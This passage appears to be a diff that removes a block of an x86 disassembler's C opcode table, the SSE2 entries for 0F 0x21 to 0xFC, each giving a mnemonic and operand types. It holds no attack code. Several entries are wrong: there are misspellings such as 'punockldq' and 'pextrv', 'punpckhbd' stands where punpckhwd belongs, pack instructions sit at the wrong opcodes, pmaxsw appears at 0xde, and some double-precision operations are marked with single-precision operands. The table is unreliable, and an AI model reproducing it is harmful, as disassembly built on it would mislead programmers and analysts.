- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27
- { INSTRUCTION_TYPE_SSE, "movapd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x28
- { INSTRUCTION_TYPE_SSE, "movapd", AM_W|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x29
- { INSTRUCTION_TYPE_SSE, "cvtpi2pd", AM_V|OT_pd, AM_Q|OT_q, FLAGS_NONE, 1 }, // 0x2a
- { INSTRUCTION_TYPE_SSE, "movntpd", AM_M|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x2b
- { INSTRUCTION_TYPE_SSE, "cvttpd2pi",AM_P|OT_q, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x2c
- { INSTRUCTION_TYPE_SSE, "cvtpd2pi", AM_P|OT_q, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x2d
- { INSTRUCTION_TYPE_SSE, "ucomisd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2e
- { INSTRUCTION_TYPE_SSE, "comisd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f
- { INSTRUCTION_TYPE_SSE, "movmskpd", AM_G|OT_d, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x50
- { INSTRUCTION_TYPE_SSE, "sqrtpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x51
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x52
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x53
- { INSTRUCTION_TYPE_SSE, "andpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x54
- { INSTRUCTION_TYPE_SSE, "andnpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x55
- { INSTRUCTION_TYPE_SSE, "orpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x56
- { INSTRUCTION_TYPE_SSE, "xorpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x57
- { INSTRUCTION_TYPE_SSE, "addpd", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x58
- { INSTRUCTION_TYPE_SSE, "mulpd", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x59
- { INSTRUCTION_TYPE_SSE, "cvtpd2ps", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5a
- { INSTRUCTION_TYPE_SSE, "cvtps2dq", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5b
- { INSTRUCTION_TYPE_SSE, "subpd", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5c
- { INSTRUCTION_TYPE_SSE, "minpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5d
- { INSTRUCTION_TYPE_SSE, "divpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5e
- { INSTRUCTION_TYPE_SSE, "maxpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5f
- { INSTRUCTION_TYPE_SSE, "punpcklbw",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x60
- { INSTRUCTION_TYPE_SSE, "punpcklwd",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x61
- { INSTRUCTION_TYPE_SSE, "punockldq",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x62
- { INSTRUCTION_TYPE_SSE, "packusdw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x63
- { INSTRUCTION_TYPE_SSE, "pcmpgtb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x64
- { INSTRUCTION_TYPE_SSE, "pcmpgtw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x65
- { INSTRUCTION_TYPE_SSE, "pcmpgtd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x66
- { INSTRUCTION_TYPE_SSE, "packsswb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x67
- { INSTRUCTION_TYPE_SSE, "punpckhbw",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x68
- { INSTRUCTION_TYPE_SSE, "punpckhbd",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x69
- { INSTRUCTION_TYPE_SSE, "punpckhdq",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x6a
- { INSTRUCTION_TYPE_SSE, "packssdw", AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x6b
- { INSTRUCTION_TYPE_SSE, "punpcklqdq",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6c
- { INSTRUCTION_TYPE_SSE, "punpckhqd",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6d
- { INSTRUCTION_TYPE_SSE, "movd", AM_V|OT_d, AM_E|OT_dq, FLAGS_NONE, 1 }, // 0x6e
- { INSTRUCTION_TYPE_SSE, "movdqa", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6f
- { INSTRUCTION_TYPE_SSE, "pshufd", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70
- // groups 12-14
- { INSTRUCTION_TYPE_SSE, "g12", AM_P|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x71
- { INSTRUCTION_TYPE_SSE, "g13", AM_W|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x72
- { INSTRUCTION_TYPE_SSE, "g14", AM_W|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x73
- { INSTRUCTION_TYPE_SSE, "pcmpeqb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x74
- { INSTRUCTION_TYPE_SSE, "pcmpeqw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x75
- { INSTRUCTION_TYPE_SSE, "pcmpeqd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x76
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b
- { INSTRUCTION_TYPE_SSE, "haddpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x7c
- { INSTRUCTION_TYPE_SSE, "hsubpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x7d
- { INSTRUCTION_TYPE_SSE, "movd", AM_E|OT_d, AM_V|OT_d, FLAGS_NONE, 1 }, // 0x7e
- { INSTRUCTION_TYPE_SSE, "movdqa", AM_W|OT_dq, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0x7f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1
- { INSTRUCTION_TYPE_SSE, "cmppd", AM_V|OT_pd, AM_W|OT_pd, AM_I|OT_b, 1 }, // 0xc2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3
- { INSTRUCTION_TYPE_SSE, "pinsrw", AM_V|OT_w, AM_E|OT_w, AM_I|OT_b, 1 }, // 0xc4
- { INSTRUCTION_TYPE_SSE, "pextrv", AM_G|OT_w, AM_V|OT_w, AM_I|OT_b, 1 }, // 0xc5
- { INSTRUCTION_TYPE_SSE, "shufpd", AM_V|OT_pd, AM_W|OT_pd, AM_I|OT_b, 1 }, // 0xc6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf
- { INSTRUCTION_TYPE_SSE, "addsubpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xd0
- { INSTRUCTION_TYPE_SSE, "psrlw", AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0xd1
- { INSTRUCTION_TYPE_SSE, "psrld", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd2
- { INSTRUCTION_TYPE_SSE, "psrlq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd3
- { INSTRUCTION_TYPE_SSE, "paddq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd4
- { INSTRUCTION_TYPE_SSE, "pmullw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd5
- { INSTRUCTION_TYPE_SSE, "movq", AM_W|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0xd6
- { INSTRUCTION_TYPE_SSE, "pmovmskb", AM_G|OT_d, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0xd7
- { INSTRUCTION_TYPE_SSE, "psubusb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd8
- { INSTRUCTION_TYPE_SSE, "psubusw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd9
- { INSTRUCTION_TYPE_SSE, "pminub", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xda
- { INSTRUCTION_TYPE_SSE, "pand", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdb
- { INSTRUCTION_TYPE_SSE, "paddusb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdc
- { INSTRUCTION_TYPE_SSE, "paddusw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdd
- { INSTRUCTION_TYPE_SSE, "pmaxsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xde
- { INSTRUCTION_TYPE_SSE, "pandn", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdf
- { INSTRUCTION_TYPE_SSE, "pavgb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe0
- { INSTRUCTION_TYPE_SSE, "psraw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe1
- { INSTRUCTION_TYPE_SSE, "psrad", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe2
- { INSTRUCTION_TYPE_SSE, "pavgw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe3
- { INSTRUCTION_TYPE_SSE, "pmulhuw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe4
- { INSTRUCTION_TYPE_SSE, "pmulhw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe5
- { INSTRUCTION_TYPE_SSE, "cvttpd2dq",AM_V|OT_dq, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xe6
- { INSTRUCTION_TYPE_SSE, "movntq", AM_M|OT_dq, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0xe7
- { INSTRUCTION_TYPE_SSE, "psubsb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe8
- { INSTRUCTION_TYPE_SSE, "psubsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe9
- { INSTRUCTION_TYPE_SSE, "pminsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xea
- { INSTRUCTION_TYPE_SSE, "por", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xeb
- { INSTRUCTION_TYPE_SSE, "paddsb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xec
- { INSTRUCTION_TYPE_SSE, "paddsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xed
- { INSTRUCTION_TYPE_SSE, "pmaxsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xee
- { INSTRUCTION_TYPE_SSE, "pxor", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xef
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf0
- { INSTRUCTION_TYPE_SSE, "psllw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf1
- { INSTRUCTION_TYPE_SSE, "pslld", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf2
- { INSTRUCTION_TYPE_SSE, "psllq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf3
- { INSTRUCTION_TYPE_SSE, "pmuludq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf4
- { INSTRUCTION_TYPE_SSE, "pmaddwd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf5
- { INSTRUCTION_TYPE_SSE, "psadbw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf6
- { INSTRUCTION_TYPE_SSE, "maskmovdqu",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf7
- { INSTRUCTION_TYPE_SSE, "psubb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf8
- { INSTRUCTION_TYPE_SSE, "psubw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf9
- { INSTRUCTION_TYPE_SSE, "psubd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfa
- { INSTRUCTION_TYPE_SSE, "psubq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfb
- { INSTRUCTION_TYPE_SSE, "paddb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfc
